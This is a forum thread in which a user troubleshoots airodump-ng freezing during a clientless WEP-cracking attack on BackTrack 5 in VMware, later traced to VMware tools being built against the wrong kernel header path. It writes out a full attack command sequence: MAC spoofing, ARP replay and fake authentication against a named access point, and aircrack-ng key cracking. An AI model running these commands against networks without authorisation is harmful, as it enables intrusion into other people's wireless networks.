Airodump-ng stops working as soon as Arp’s are pick by Aireplay-ng

[airwolf3000]

Running clientless WEP Attack on BT5R1 and BT5, Airodump-ng stops working – the Beacons, Pwr and Rxq counts stops. – And whatever it’s on Airodump-ng, start to go away leaving only the line of the target AP


I am running BT5R1-KDE-32 on VMWare workstation, the follow it’s the routine I was using before and after
the problem:

Plug in the Alfa card AWUS036H

dmesg |tail -20 – to make sure the card its taken by BT5

rmmod rtl8187
rfkill block all
rfkill unblock all
modprobe rtl8187
rfkill unblock all
ifconfig wlan0 up
ifconfig wlan0 down
macchanger -–mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
/etc/init.d/networking stop -- (to kill the pid files)

No errors or flags on any of the steps above

Launch the process:

Window 1: airodump-ng -w output -c 1 wlan0

Window 2: aireplay-ng -3 -x 1000 -n 100000 -b C4:17:FE:YY:YY:YY -e 9XXX -h 00:11:22:33:44:55 wlan0

Window 3: aireplay-ng -1 0 -e 9XXX -a C4:17:FE:YY:YY:YY -h 00:11:22:33:44:55 wlan0

Window 4: aircrack-ng -f 4 -m C4:17:FE:YY:YY:YY -n 128 output-01.cap

Results:

Window 1: Airodump-ng stops working, the count for Beacons, Pwr and Rxq stops – As soon as the ARP’s are caught by window 2, Aireplay-ng -3 – a minute or two afterwards, everything start to go away from the window 1, airodump-ng, leaving only the target AP line

The symptom started to happen about a week before the upgrade to BT5R1, on BT5.

Could be an upgrade of Aircrack-ng suite via Backtrack, prior to the Upgrade to BT5R1?


Currently running Aircrack-ng v1.1 r1904 on BT5R1

I had search BT forums and Aircrack-ng forums, for a reason or solution to no avail.

I have no problems running the same routine for about 3 months before this situation

Thanks for your help

[airwolf3000]

I have found the problem, somehow, I had reinstall VMware tools, since i was having some video problems and I did not notice that it did install on the wrong directory:

Searching for a valid kernel header path...
Detected the kernel headers of the running kernel at
"/lib/modules/2.6.39.4/build/include".
The path "/lib/modules/2.6.39.4/build/include" appears to be a valid path to
the kernel headers of the running kernel.
Would you like to change it? [no] no

Instead of

The path "/lib/modules/2.6.39.4/build/include" appears to be a valid path to
the kernel headers of the running kernel.
Would you like to change it? [no] yes

What is the location of the directory of C header files that match your running
kernel? [/lib/modules/2.6.39.4/build/include] /usr/src/linux-headers-2.6.39.4/include

This solves the problem I was having and everything is back to normal